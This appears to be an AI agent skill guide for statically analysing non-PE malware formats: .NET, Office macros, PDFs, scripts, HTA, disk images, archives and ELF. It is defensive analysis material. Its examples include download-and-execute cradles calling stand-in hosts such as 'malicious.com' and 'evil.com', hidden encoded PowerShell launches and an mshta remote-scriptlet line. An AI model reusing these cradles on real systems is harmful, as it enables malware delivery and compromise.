Analyze specialized file types beyond standard PE executables - .NET assemblies, Office macros, PDFs, PowerShell scripts, JavaScript, archives, and Linux ELF binaries...
Expert analysis of non-PE file formats commonly used in malware campaigns: .NET, Office documents, PDFs, scripts, HTA files, disk images, archives, and Linux binaries.
Use this skill when analyzing:
Key indicator: file command shows non-PE32 executable or document type.
bash block in this skill is for you to execute on the host, then read and interpret. Do not ask the user to run tools and paste output unless a tool is missing and cannot be installed.R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}" once (when installed as a plugin $CLAUDE_PLUGIN_ROOT is set; otherwise it is this skill folder). Your working directory is the user's analysis workspace, so prefix every script path below with $R, e.g. python3 "$R"/scripts/ioc_extract.py.cscript, strace, dnSpy debugging) are for the analyst in the isolated VM; hand them over as instructions and analyze the text they bring back.Execute of a downloaded blob) do you ask for a VM run.command -v 7z unzip olevba oledump.py pdfid.py pdf-parser.py ilspycmd js-beautify lnkinfo readelf upx exiftool
# olevba/oledump/XLM: pip install oletools pdfid/pdf-parser: git clone https://github.com/DidierStevens/DidierStevensSuite
# ilspycmd: dotnet tool install -g ilspycmd js-beautify: pip install jsbeautifier lnkinfo: apt install libyal-lnk-tools (or pip install LnkParse3)
On REMnux everything above is preinstalled. If a decompiler/parser is unavailable, fall back to strings -a -n 6 (and -e l for UTF-16) plus targeted grep β say so in the findings.file it, hash it, record it in analysis_state.md, and route it (PE β malware-triage; another document/script β the matching section here).python3 scripts/ioc_extract.py (repo root) so the IOCs land defanged in the state file.wc -l, then grep β never cat blindly.# Identify file type
file sample.bin
# Common outputs:
# "PE32+ console executable, for MS Windows" β Standard PE (use malware-triage)
# "PE32 executable (GUI) Intel 80386 Mono/.Net assembly" β .NET (use this skill)
# "Microsoft Office Document" β Office macro (use this skill)
# "PDF document, version 1.7" β PDF (use this skill)
# "HTML document text" β Check extension; if .hta β HTA (use this skill)
# "ISO 9660 CD-ROM filesystem data" β ISO image (use this skill)
# "DOS/MBR boot sector" β IMG disk image (use this skill)
# "Microsoft Disk Image" β VHD/VHDX (use this skill)
# "Zip archive data" β Archive (use this skill)
# "ELF 64-bit LSB executable" β Linux binary (use this skill)
# "ASCII text, with CRLF line terminators" β Script (use this skill)
# Check for .NET assembly
file sample.exe | grep "Mono/.Net assembly"
# Or check strings
strings sample.exe | grep "mscoree.dll"
# Or: python3 malware-triage/scripts/pe_info.py sample.exe | grep '^\.NET:'
# dotnet tool install -g ilspycmd (needs the .NET SDK; REMnux ships it)
ilspycmd -p -o dotnet_src/ sample.exe # full C# project
ilspycmd sample.exe > dotnet_src/all.cs # single file when the project export fails
wc -l dotnet_src/all.cs
grep -nE 'static void Main|Application\.Run' dotnet_src/all.cs | head # entry point
grep -nE 'WebClient|HttpClient|DownloadString|DownloadFile|DownloadData|WebRequest' dotnet_src/all.cs | head -20
grep -nE 'FromBase64String|Assembly\.Load|Invoke\(|GetMethod|Reflection|Activator' dotnet_src/all.cs | head -20
grep -nE 'Process\.Start|ProcessStartInfo|cmd\.exe|powershell' dotnet_src/all.cs | head
grep -nE 'Rijndael|AES|TripleDES|RC4|Xor|Decrypt|CreateDecryptor' dotnet_src/all.cs | head
grep -nE 'Registry\.|RegistryKey|CurrentVersion\\\\Run|schtasks|Startup' dotnet_src/all.cs | head
grep -nE 'VirtualAllocEx|WriteProcessMemory|CreateRemoteThread|NtUnmapViewOfSection|SetThreadContext|DllImport' dotnet_src/all.cs | head
grep -nE 'Debugger\.IsAttached|VirtualBox|VMware|SbieDll|IsDebuggerPresent' dotnet_src/all.cs | head
# resources: embedded payloads/config
python3 - sample.exe <<'EOF'
import sys
try:
import pefile
except ImportError:
sys.exit("pip install pefile")
pe = pefile.PE(sys.argv[1])
d = pe.DIRECTORY_ENTRY_RESOURCE if hasattr(pe, "DIRECTORY_ENTRY_RESOURCE") else None
if d:
for t in d.entries:
for e in t.directory.entries:
for l in e.directory.entries:
off, size = l.data.struct.OffsetToData, l.data.struct.Size
data = pe.get_data(off, size)
print(f"type={t.id} id={e.id} size={size} magic={data[:4].hex()}")
EOF
strings -a -n 8 -e l sample.exe | python3 scripts/ioc_extract.py # .NET strings are UTF-16
If the decompiled code is unreadable (random identifiers, giant switch dispatchers, string-decryption calls everywhere) it is obfuscated: run de4dot (below) and decompile the output instead. Managed resources named like GUIDs or with high entropy are the embedded payload β extract with the pefile snippet or ilspycmd's project export (dotnet_src/Resources/), then file and route them.
Download: https://github.com/dnSpy/dnSpy
Workflow:
What to Look For:
Main() Function:
// Entry point - start here
public static void Main(string[] args)
{
// Analyze execution flow
}
Suspicious Namespaces:
System.Net - Network operations (WebClient, HttpClient)System.Security.Cryptography - Encryption/decryptionSystem.Reflection - Dynamic code loadingSystem.Diagnostics.Process - Process executionSystem.IO - File operationsMicrosoft.Win32 - Registry accessCommon Malicious Patterns:
// Download and execute
WebClient wc = new WebClient();
wc.DownloadFile("http://malicious.com/payload.exe", "C:\\temp\\payload.exe");
Process.Start("C:\\temp\\payload.exe");
// Base64 decode embedded payload
byte[] decoded = Convert.FromBase64String(encodedPayload);
// Reflective loading
Assembly.Load(byte[] rawAssembly);
// Process injection
WriteProcessMemory(hProcess, lpBaseAddress, lpBuffer, nSize, out lpNumberOfBytesWritten);
Extract Embedded Resources:
Assembly Explorer β Right-click assembly β Resources
Look for:
- Embedded executables (byte arrays)
- Encrypted payloads
- Configuration data
- Icons (may hide data)
Right-click resource β Save
Deobfuscation:
# Using de4dot (automated deobfuscator)
de4dot sample.exe -o sample_deobfuscated.exe
# Handles common obfuscators:
# - ConfuserEx
# - .NET Reactor
# - Eazfuscator
# - Agile.NET
Dynamic Debugging (VM only β ask the analyst to capture decrypted strings and bring them back as text):
dnSpy: Debug β Start Debugging (F5)
Set breakpoints on suspicious functions
Step through execution (F10/F11)
Watch variables and decrypted strings
# Macro-enabled formats
# .docm, .xlsm, .pptm β Office 2007+ with macros
# .doc, .xls, .ppt β Legacy Office (97-2003) with macros
file document.docm
# Output: "Microsoft Word 2007+"
# Quick macro check
strings document.docm | grep -i "vba\|macro\|autoopen"
Installation:
git clone https://github.com/DidierStevens/DidierStevensSuite # oledump.py, pdfid.py, pdf-parser.py, ...
pip install oletools # olevba, oleid, rtfobj, mraptor
Workflow:
1. List Streams:
python oledump.py document.docm
# Example output:
# 1: 114 '\x01CompObj'
# 2: 4096 '\x05DocumentSummaryInformation'
# 3: M 8192 'Macros/VBA/ThisDocument' β Macro present (M indicator)
# 4: m 1024 'Macros/VBA/_VBA_PROJECT'
# 5: M 4096 'Macros/VBA/Module1'
2. Extract Macro Code:
# Extract macro from stream 3
python oledump.py -s 3 -v document.docm
# Decompress corrupted VBA
python oledump.py -s 3 --vbadecompresscorrupt document.docm
# Save to file
python oledump.py -s 3 -v document.docm > extracted_macro.vba
3. Analyze Macro Code:
Look for Auto-Execution Functions:
Sub AutoOpen() ' Word - runs on document open
Sub Document_Open() ' Word - runs on document open
Sub Workbook_Open() ' Excel - runs on workbook open
Sub Auto_Open() ' Excel - runs on workbook open
Look for Suspicious VBA Functions:
' Command execution
Shell("cmd.exe /c powershell ...")
CreateObject("WScript.Shell").Run "..."
' File download
CreateObject("MSXML2.XMLHTTP")
URLDownloadToFile ...
' File system operations
CreateObject("Scripting.FileSystemObject")
' Dynamic code execution
ExecuteStatement
Eval()
CallByName()
Installation:
pip install oletools
Automated Analysis:
# Comprehensive analysis
olevba document.docm
# Decode obfuscated strings
olevba --decode document.docm
# JSON output for parsing
olevba -j document.docm > analysis.json
# Extract IOCs only
olevba --decode document.docm | grep -E "http|https|powershell|cmd|wscript"
Output Interpretation:
More evasive than VBA macros!
# Detect XLM macros
python oledump.py document.xls | grep XL
# Extract with XLMMacroDeobfuscator
git clone https://github.com/DissectMalware/XLMMacroDeobfuscator
python XLMMacroDeobfuscator.py -f document.xls
# Or use olevba
olevba document.xls --deobf
Template Injection Attack:
# Extract Office Open XML structure
unzip document.docx -d extracted/
# Check for external template
cat extracted/word/_rels/document.xml.rels | grep "http"
# Look for:
# <Relationship Type="http://schemas.../attachedTemplate"
# Target="http://malicious.com/template.dotm" TargetMode="External"/>
Embedded Objects:
# Check for embedded files
ls extracted/word/embeddings/
# Analyze embedded objects
file extracted/word/embeddings/*
file document.pdf
# Output: "PDF document, version 1.7"
Quick Triage:
python pdfid.py document.pdf
# Red flags:
# /OpenAction - Executes action on open
# /AA - Additional actions (auto-execute)
# /JavaScript - Embedded JavaScript
# /JS - JavaScript (short form)
# /Launch - Launch external program
# /EmbeddedFile - Embedded files
# /RichMedia - Flash/multimedia content
# /ObjStm - Object streams (can hide malicious content)
Example Output:
PDFiD 0.2.7 document.pdf
PDF Header: %PDF-1.7
obj 45
endobj 45
stream 12
endstream 12
/Page 5
/Encrypt 0
/ObjStm 0
/JS 3 β Suspicious!
/JavaScript 2 β Suspicious!
/AA 1 β Auto-action present!
/OpenAction 1 β Executes on open!
/Launch 0
/EmbeddedFile 0
/RichMedia 0
Extract JavaScript:
# Search for JavaScript objects
python pdf-parser.py --search javascript document.pdf
# Extract specific object
python pdf-parser.py --object 15 document.pdf
# Dump JavaScript code
python pdf-parser.py --object 15 --raw document.pdf > extracted_js.txt
# Filter streams
python pdf-parser.py --filter document.pdf
# Install (peepdf-3 is the Python 3 compatible fork)
pip install peepdf-3
# Interactive mode
peepdf -i document.pdf
# Commands in interactive shell:
> tree # Show object structure
> object 15 # Inspect object 15
> stream 15 # View stream 15
> javascript # Extract all JavaScript
> extract stream 15 > payload.bin
Common CVEs:
Shellcode Detection:
# Look for shellcode in streams
python pdf-parser.py --raw --filter document.pdf | grep -aP "(\x90{10}|\xeb)"
# Extract suspicious streams
python pdf-parser.py --object <id> --raw document.pdf | hexdump -C
Common Obfuscation Patterns:
Base64 Encoding:
# Encoded command execution
powershell.exe -EncodedCommand <base64_string>
# Decode manually
$encoded = "Base64StringHere"
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($encoded))
String Concatenation:
$url = "ht" + "tp://" + "evil.com"
Compression:
$ms = New-Object IO.MemoryStream
$ms.Write([Convert]::FromBase64String($compressed), 0, $compressedLength)
$ms.Seek(0,0) | Out-Null
$cs = New-Object IO.Compression.GZipStream($ms, [IO.Compression.CompressionMode]::Decompress)
wc -l malicious.ps1; head -c 2000 malicious.ps1
grep -noiE 'Invoke-Expression|IEX|DownloadString|DownloadFile|Invoke-WebRequest|IWR|Net\.WebClient|FromBase64String|-EncodedCommand|-enc |-e |GzipStream|DeflateStream|Reflection\.Assembly|Add-Type|VirtualAlloc|-WindowStyle Hidden|-nop|-w hidden|Bypass|Start-Process|New-Object|Set-ItemProperty|schtasks|Register-ScheduledTask' malicious.ps1 | sort -t: -k2 -u
# -EncodedCommand / -enc blobs are UTF-16LE base64
python3 - <<'EOF'
import base64, re, sys
src = open("malicious.ps1", encoding="utf-8", errors="replace").read()
for m in re.finditer(r"[A-Za-z0-9+/]{40,}={0,2}", src):
raw = base64.b64decode(m.group(0) + "=" * (-len(m.group(0)) % 4))
for enc in ("utf-16le", "utf-8"):
try:
txt = raw.decode(enc)
if txt.isprintable() or "\n" in txt:
print(f"--- offset {m.start()} ({enc}) ---\n{txt[:2000]}\n"); break
except UnicodeDecodeError:
continue
else:
print(f"--- offset {m.start()}: binary, magic {raw[:4].hex()} ({len(raw)} bytes) β save and `file` it ---")
EOF
# gzip/deflate-wrapped stages
python3 -c "import base64,gzip,sys,zlib; b=base64.b64decode(sys.argv[1]); print((gzip.decompress(b) if b[:2]==b'\x1f\x8b' else zlib.decompress(b,-15)).decode('utf-8','replace'))" '<blob>'
# string concatenation / format-operator tricks: resolve by hand with python string ops, or print the pieces
grep -oE "'[^']*'\s*\+\s*'[^']*'" malicious.ps1 | head
Repeat until the final stage is readable. Save each stage (stage1.ps1, stage2.bin β¦), file binary ones, and run python3 scripts/ioc_extract.py on the text ones.
PSDecode overrides IEX/Invoke-Expression with a logger and runs the script under PowerShell. That is dynamic analysis β only in the isolated VM, and only after the host-side decoding above stalls:
git clone https://github.com/R3MRUM/PSDecode
Import-Module .\PSDecode.ps1
PSDecode -InputFile malicious.ps1 -OutputFile decoded.txt # bring decoded.txt back to the host
Suspicious PowerShell Patterns:
Invoke-Expression / IEX - Execute string as codeInvoke-WebRequest / Invoke-RestMethod - Download contentDownloadString / DownloadFile - Download payloadsFromBase64String - Decode embedded payloadIO.Compression.GzipStream - Decompress payloadReflection.Assembly]::Load - Load assembly from memory-EncodedCommand - Base64 encoded command-WindowStyle Hidden - Hide window-ExecutionPolicy Bypass - Bypass script execution policyCommon Obfuscation Techniques:
Chr() Concatenation:
' Characters assembled from ASCII codes to hide strings
Dim cmd
cmd = Chr(99) & Chr(109) & Chr(100) ' = "cmd"
CreateObject("WScript.Shell").Run cmd & ".exe /c " & Chr(112) & Chr(105) & Chr(110) & Chr(103) & " evil.com"
Execute / ExecuteGlobal:
' Execute() runs a string as code in the current scope
' ExecuteGlobal() runs a string as code in the global scope
Dim payload
payload = "CreateObject(" & Chr(34) & "WScript.Shell" & Chr(34) & ").Run " & Chr(34) & "calc.exe" & Chr(34)
Execute(payload)
' Chained: decode then execute
ExecuteGlobal(Base64Decode(encodedPayload))
String Reversal with StrReverse:
' String stored backwards to evade signature detection
Dim hidden
hidden = "elbatius/c/ exe.dmc"
CreateObject("WScript.Shell").Run StrReverse(hidden)
Replace() Chains:
' Junk characters inserted and stripped at runtime
Dim url
url = "hXXXtXXXtXXXpXXX:XXXXX//evil.com/payload.exe"
url = Replace(url, "XXX", "") ' = "http://evil.com/payload.exe"
WScript.Shell via GetObject:
' Alternative to CreateObject β avoids direct string "WScript.Shell"
Set sh = GetObject("new:{72C24DD5-D70A-438B-8A42-98424B88AFB8}")
sh.Run "powershell -nop -w hidden -enc <base64>"
Deobfuscation Approach:
Manual Chr() Resolution:
# Extract all Chr() calls and resolve them
grep -oE "Chr\([0-9]+\)" malicious.vbs | sort -u
# Python one-liner to resolve Chr values from grep output
python3 -c "
import re, sys
code = open('malicious.vbs').read()
for m in re.finditer(r'Chr\((\d+)\)', code):
print(f'Chr({m.group(1)}) = {chr(int(m.group(1)))}')
"
Resolve statically on the host first:
python3 - malicious.vbs <<'EOF'
import re, sys
code = open(sys.argv[1], encoding="utf-8", errors="replace").read()
code = re.sub(r"Chr[Ww]?\((\d+)\)", lambda m: '"' + chr(int(m.group(1))) + '"', code) # Chr(99) -> "c"
code = re.sub(r'"\s*&\s*"', "", code) # "a" & "b" -> "ab"
code = re.sub(r'StrReverse\("([^"]*)"\)', lambda m: '"' + m.group(1)[::-1] + '"', code)
for m in re.finditer(r'Replace\("([^"]*)",\s*"([^"]*)",\s*"([^"]*)"\)', code):
code = code.replace(m.group(0), '"' + m.group(1).replace(m.group(2), m.group(3)) + '"')
open(sys.argv[1] + ".resolved", "w").write(code); print(code[:4000])
EOF
grep -iE 'Execute|Eval|WScript\.Shell|\.Run|XMLHTTP|ADODB|SaveToFile|powershell|cmd' malicious.vbs.resolved
Extract Execute() Payloads (VM only β the Echo swap still runs the script):
' SAFE deobfuscation technique:
' Replace Execute() / ExecuteGlobal() with WScript.Echo() to print payload instead of running it
' Original:
Execute(decodedPayload)
' Change to:
WScript.Echo(decodedPayload)
' Then run in a safe environment to reveal the next stage
cscript /nologo malicious_safe.vbs
Variable Substitution Tracing:
# Trace variable assignments to follow payload construction
grep -n "=" malicious.vbs | grep -v "'.*=" # exclude comments
# Follow each variable from assignment to use, reconstructing the final value
Key Suspicious Patterns:
CreateObject("WScript.Shell") - Execute OS commands, launch processesGetObject("winmgmts:") - WMI access (process creation, system enumeration)Shell.Application - Explorer shell invocation (can bypass some restrictions)ADODB.Stream - Binary file writes (used to drop PE payloads to disk)MSXML2.XMLHTTP / WinHttp.WinHttpRequest - HTTP download cradlesScripting.FileSystemObject - File system reads and writesExecute / ExecuteGlobal / Eval - Dynamic code execution (always deobfuscate before analyzing)StrReverse / Chr() / Replace() - String obfuscation primitivesAnalysis:
# Read script
cat malicious.vbs
# Search for high-priority patterns
grep -i "CreateObject\|WScript.Shell\|MSXML2.XMLHTTP\|Eval\|Execute\|ExecuteGlobal\|ADODB.Stream\|GetObject\|StrReverse" malicious.vbs
# Last resort, VM only: replace Eval()/Execute() with WScript.Echo() and run: cscript /nologo malicious_safe.vbs
# Beautify obfuscated JS (pip install jsbeautifier)
js-beautify malicious.js > beautified.js
grep -nE 'eval\(|unescape\(|ActiveXObject|WScript|\.Run\(|XMLHTTP|fromCharCode|atob\(|split\(|reverse\(|\.replace\(' beautified.js | head -40
# String.fromCharCode(β¦) arrays and hex/percent escapes: decode with python
python3 -c "import sys,re; s=open('beautified.js').read(); print(re.sub(r'\\\\x([0-9a-fA-F]{2})', lambda m: chr(int(m.group(1),16)), s)[:3000])"
Never run the script with node/cscript on the host; a VM run is the fallback when the final stage is fetched remotely.
Suspicious Patterns:
// Code execution
eval(encodedCode);
// Decode strings
unescape("%75%6E%65%73%63%61%70%65");
decodeURIComponent("%20");
// ActiveX (Windows COM objects)
var shell = new ActiveXObject("WScript.Shell");
shell.Run("cmd.exe /c ...");
// WScript objects
var fso = new ActiveXObject("Scripting.FileSystemObject");
# List contents without extracting
7z l archive.zip
unzip -l archive.zip
tar -tzf archive.tar.gz
rar l archive.rar
# Look for red flags:
# - Double extensions (invoice.pdf.exe)
# - Executable files (.exe, .scr, .com, .bat, .vbs)
# - LNK files (shortcuts)
# - Deeply nested archives (archive.zip -> archive2.zip -> payload.exe)
# Create isolated directory
mkdir /tmp/extracted_archive
cd /tmp/extracted_archive
# Extract
7z x ../archive.zip
unzip ../archive.zip
tar -xzf ../archive.tar.gz
# Immediately check file types
file *
Common passwords in malware:
infectedmalwarevirus2024 / 2025123456# Extract with password
7z x -pinfected archive.zip
unzip -P infected archive.zip
Tool: LECmd (Windows)
# Download from: https://ericzimmerman.github.io/
LECmd.exe -f malicious.lnk
Tool: lnkinfo (Linux)
lnkinfo malicious.lnk
# Look for:
# - Target path (what it executes)
# - Command-line arguments
# - Working directory
# - Icon location (may reveal payload location)
Manual Strings Analysis:
strings malicious.lnk | grep -E "\.exe|\.dll|http|powershell|cmd"
HTA files (.hta) are HTML documents executed by mshta.exe (Microsoft HTML Application Host) rather than a web browser. Because mshta.exe is a trusted Windows binary, HTAs run with the full privileges of the current user and have unrestricted access to COM objects, ActiveX controls, and the local file system β none of the browser sandbox restrictions apply. This makes HTAs a popular delivery vehicle for malware, often distributed via phishing emails or dropped inside ISO/ZIP archives.
MITRE ATT&CK: T1218.005 β System Binary Proxy Execution: Mshta
# File identification
file suspicious.hta
# Output: "HTML document text" (always verify the extension separately)
# Quick check for execution indicators
strings suspicious.hta | grep -iE "mshta|WScript|Shell|ActiveX|XMLHTTP|powershell"
HTAs are plain text β open them in any text editor or IDE. The analysis goal is to extract and understand all embedded scripts before any execution occurs.
1. Extract Embedded Scripts
# View raw content
cat suspicious.hta
# Grep for script blocks
grep -i "<script" suspicious.hta
# Pull out VBScript/JScript content between script tags
grep -A 50 "<script" suspicious.hta
2. Check for ActiveX Object Instantiation
ActiveX objects are the primary attack surface in HTAs. Flag every CreateObject and new ActiveXObject call:
' VBScript - common ActiveX patterns
Set sh = CreateObject("WScript.Shell") ' OS command execution
Set fso = CreateObject("Scripting.FileSystemObject") ' File I/O
Set xhr = CreateObject("MSXML2.XMLHTTP") ' HTTP download
Set xhr = CreateObject("WinHttp.WinHttpRequest.5.1") ' Alternative HTTP
// JScript - equivalent patterns
var sh = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
3. Look for High-Priority Execution Sinks
grep -iE "Shell\.Run|ShellExecute|WScript\.Shell|Scripting\.FileSystemObject|XMLHTTP|WinHttp|powershell|cmd\.exe|wscript|cscript|regsvr32|rundll32|msiexec" suspicious.hta
4. Decode Obfuscated Payloads
HTA malware frequently encodes payloads in innerHTML, script variables, or injected DOM content:
# Find base64 strings (look for long alphanum strings)
grep -oE "[A-Za-z0-9+/]{40,}={0,2}" suspicious.hta
# Find HTML-entity or percent-encoded strings
grep -oE "&#[0-9]+;" suspicious.hta
grep -oE "%[0-9A-Fa-f]{2}" suspicious.hta
Decode base64 payload (Linux):
echo "Base64StringHere" | base64 -d > decoded_payload.bin
file decoded_payload.bin
Decode base64 payload (PowerShell β for Unicode-encoded commands):
[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("Base64StringHere"))
Download-and-Execute via XMLHTTP:
Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", "http://malicious[.]com/payload.exe", False
xhr.Send
Set stream = CreateObject("ADODB.Stream")
stream.Type = 1 ' Binary
stream.Open
stream.Write xhr.responseBody
stream.SaveToFile "C:\Users\Public\payload.exe", 2
stream.Close
CreateObject("WScript.Shell").Run "C:\Users\Public\payload.exe"
PowerShell Invocation (common cradle):
CreateObject("WScript.Shell").Run "powershell -nop -w hidden -enc <base64>", 0, False
Payload hidden in innerHTML and read back at runtime:
<div id="data" style="display:none">TVqQAAMAAAAEAAAA...</div>
<script language="VBScript">
Dim raw
raw = document.getElementById("data").innerHTML
' decode and execute raw
</script>
mshta.exe executing inline script (seen in phishing URLs):
mshta.exe javascript:a=(GetObject("script:http://malicious[.]com/payload.sct")).Exec();close();
| Task | Tool |
|---|---|
| Read/edit HTA content | Any text editor (VS Code, Notepad++, vim) |
| DOM structure inspection | Browser dev tools (open as HTML β do NOT click Run) |
| Decode base64 strings | base64 -d (Linux), CyberChef |
| Chr()/VBS deobfuscation | Manual or cscript with ExecuteβEcho swap (see VBScript section) |
| Trace COM object calls | Process Monitor (filter on mshta.exe) β dynamic analysis VM only |
CreateObject / new ActiveXObject calls enumeratedShell.Run / ShellExecute arguments extractedDisk images are a primary MOTW (Mark-of-the-Web) bypass technique on Windows 10 and 11. When a file is downloaded from the internet, Windows attaches a Zone Identifier alternate data stream (Zone.Identifier:$DATA, Zone 3) to flag it as untrusted. Files extracted from a mounted disk image do not inherit the source image's MOTW, so payloads inside an ISO/VHD execute without SmartScreen prompts or Protected View restrictions.
Additionally, .iso files auto-mount as a virtual DVD drive on double-click in Windows 10+, and .vhd/.vhdx files auto-mount as a virtual disk β making the delivery seamless for the victim.
MITRE ATT&CK: T1553.005 β Subvert Trust Controls: Mark-of-the-Web Bypass
file suspicious.iso
# "ISO 9660 CD-ROM filesystem data"
file suspicious.img
# "DOS/MBR boot sector" or "Linux rev 1.0 ext2 filesystem data"
file suspicious.vhd
# "Microsoft Disk Image, Virtual Server or Virtual PC, version 0x00010000"
file suspicious.vhdx
# "Microsoft Disk Image eXtended"
Always analyze disk images read-only and without executing any contained files outside an isolated VM.
Option A: Extract Without Mounting (Safest β 7-Zip)
Works on Linux, Windows, and macOS. No kernel interaction required.
# List contents first
7z l suspicious.iso
# Extract to isolated directory
mkdir /tmp/iso_contents
7z x suspicious.iso -o/tmp/iso_contents/
# Identify all extracted files
file /tmp/iso_contents/*
find /tmp/iso_contents/ -type f | xargs file
Option B: Mount Read-Only (Linux)
# ISO / IMG
sudo mkdir /mnt/suspicious_iso
sudo mount -o loop,ro suspicious.iso /mnt/suspicious_iso
# List all files including hidden
ls -la /mnt/suspicious_iso/
find /mnt/suspicious_iso/ -type f
# Identify file types
find /mnt/suspicious_iso/ -type f -exec file {} \;
# Copy files out for analysis (do not execute in place)
cp -r /mnt/suspicious_iso/ /tmp/iso_extracted/
# Unmount when done
sudo umount /mnt/suspicious_iso
Option C: Mount Read-Only (Windows β analysis VM only)
# Mount as read-only virtual drive
$img = Mount-DiskImage -ImagePath "C:\analysis\suspicious.iso" -Access ReadOnly -PassThru
$driveLetter = ($img | Get-Volume).DriveLetter
# List all files including hidden
Get-ChildItem "${driveLetter}:\" -Recurse -Force | Select FullName, Attributes, Length
# Copy contents for analysis
Copy-Item "${driveLetter}:\*" "C:\analysis\extracted\" -Recurse -Force
# Dismount
Dismount-DiskImage -ImagePath "C:\analysis\suspicious.iso"
VHD/VHDX on Linux:
# Install qemu tools if needed
sudo apt install qemu-utils
# Convert VHD to raw for mounting
qemu-img convert -f vpc suspicious.vhd suspicious_raw.img
sudo mount -o loop,ro suspicious_raw.img /mnt/vhd_mount/
1. LNK + Hidden DLL/EXE (Most Common Pattern)
The canonical ISO malware delivery pattern:
archive.iso/
Invoice.lnk <- Victim double-clicks this
document.pdf <- Decoy shown to victim
payload.dll <- Hidden (file attribute set); executed by LNK via rundll32
# Find hidden files (Linux mount)
find /mnt/suspicious_iso/ -name ".*"
ls -la /mnt/suspicious_iso/
# Analyze LNK files
lnkinfo Invoice.lnk # Linux
strings Invoice.lnk | grep -E "\.exe|\.dll|rundll32|cmd|powershell"
2. Decoy Documents
Disk images frequently contain a visible, benign-looking document (PDF, DOCX) displayed to the victim while the payload runs in the background. Flag any document files and analyze them separately using the appropriate section of this skill.
3. File Naming Tricks
# Check for double extensions and right-to-left override (RTLO) tricks
ls -la /mnt/suspicious_iso/
# e.g. a filename containing U+202E (RTLO) makes "exe.doc" display as "cod.exe"
# Detect non-ASCII characters in filenames
find /mnt/suspicious_iso/ -print | cat -v | grep -v "^[[:print:]]*$"
4. Autorun Configuration
# Check for autorun.inf (older technique, still seen in IMG files)
cat /mnt/suspicious_iso/autorun.inf 2>/dev/null
Once files are extracted, route each to the appropriate analysis path:
| Extracted File Type | Next Step |
|---|---|
.lnk |
LNK Analysis section (this skill) |
.dll / .exe (PE) |
malware-triage then malware-dynamic-analysis |
.ps1 / .vbs / .js |
Script Analysis section (this skill) |
.docm / .xlsm |
Office Macro Analysis section (this skill) |
.hta |
HTA Analysis section (this skill) |
Nested .zip / .iso |
Repeat disk image / archive analysis |
file command)file command (do not trust extensions)-a flag / Get-ChildItem -Force)file sample.bin
# Output: "ELF 64-bit LSB executable, x86-64"
ELF Header:
readelf -h sample.bin
# Shows:
# - Architecture (x86, x86-64, ARM)
# - Entry point address
# - Program header offset
# - Section header offset
Sections:
readelf -S sample.bin
# Look for suspicious sections:
# - High entropy sections (encrypted/packed)
# - Unusual section names
# - RWX sections (read-write-execute)
Imported Libraries:
ldd sample.bin
# Look for:
# - libssl.so (crypto/network)
# - libc.so (standard)
# - Unusual paths (/tmp/lib.so)
Imported Symbols:
nm -D sample.bin
objdump -T sample.bin
# Search for suspicious functions:
nm -D sample.bin | grep -E "socket|connect|fork|exec|ptrace|system"
Strings:
strings -a sample.bin | grep -E "http|/tmp|/etc|passwd"
The analyst runs these in a disposable REMnux/Linux VM and brings strace_output.txt / ltrace_output.txt back. You then grep them: grep -E 'connect\(|socket\(|open(at)?\(|execve\(|ptrace|fork|clone' strace_output.txt.
strace - System Call Monitoring:
# Monitor all system calls
strace -f ./sample.bin 2>&1 | tee strace_output.txt
# Monitor specific calls
strace -e trace=network,file,process ./sample.bin
# File operations only
strace -e trace=open,read,write,close ./sample.bin
# Network operations only
strace -e trace=socket,connect,send,recv ./sample.bin
ltrace - Library Call Monitoring:
ltrace -f ./sample.bin 2>&1 | tee ltrace_output.txt
Check for Packing:
# UPX detection
readelf -S sample.bin | grep UPX
# Unpack UPX
upx -d sample.bin -o sample_unpacked.bin
Each file type contributes specific sections to the malware analysis report:
.NET Analysis β
Office Macros β
PDF Analysis β
Scripts β
Archives/LNK β
HTA Files β
Disk Images (ISO/VHD) β
ELF Binaries β
| File Type | Primary Tool | Secondary Tool |
|---|---|---|
| .NET | ilspycmd (host) | dnSpy (VM, debugging), de4dot |
| Office Macros | oledump.py | olevba, XLMMacroDeobfuscator |
| pdfid.py, pdf-parser.py | peepdf | |
| PowerShell | python3 base64/gzip decode + grep (host) | PSDecode (VM) |
| VBScript/JS | python3 static resolver + grep (host) | js-beautify, ExecuteβEcho swap (VM) |
| HTA | Text editor + grep | CyberChef (decode), Process Monitor (dynamic) |
| ISO/IMG/VHD/VHDX | 7-Zip (extract), mount -o ro (Linux) | Mount-DiskImage (Windows), qemu-utils (VHD) |
| Archives | 7z, unzip, tar | - |
| LNK | LECmd (Win), lnkinfo (Linux) | strings |
| ELF | readelf, nm, objdump | strace, ltrace |
Do:
file command)Don't:
User request: "Here is invoice.docm, what does it do?"
What you do:
file invoice.docm, hash it, confirm it is an Office document.olevba --decode invoice.docm > olevba.txt (and oledump.py invoice.docm for the stream map); read olevba.txt.AutoOpen/Document_Open) and follow it.python3 scripts/ioc_extract.py olevba.txt stage*.txt β defanged URLs, paths, registry keys.file it, hash it, and route it (PE β triage).analysis_state.md, recommend the next phase, wait for the user.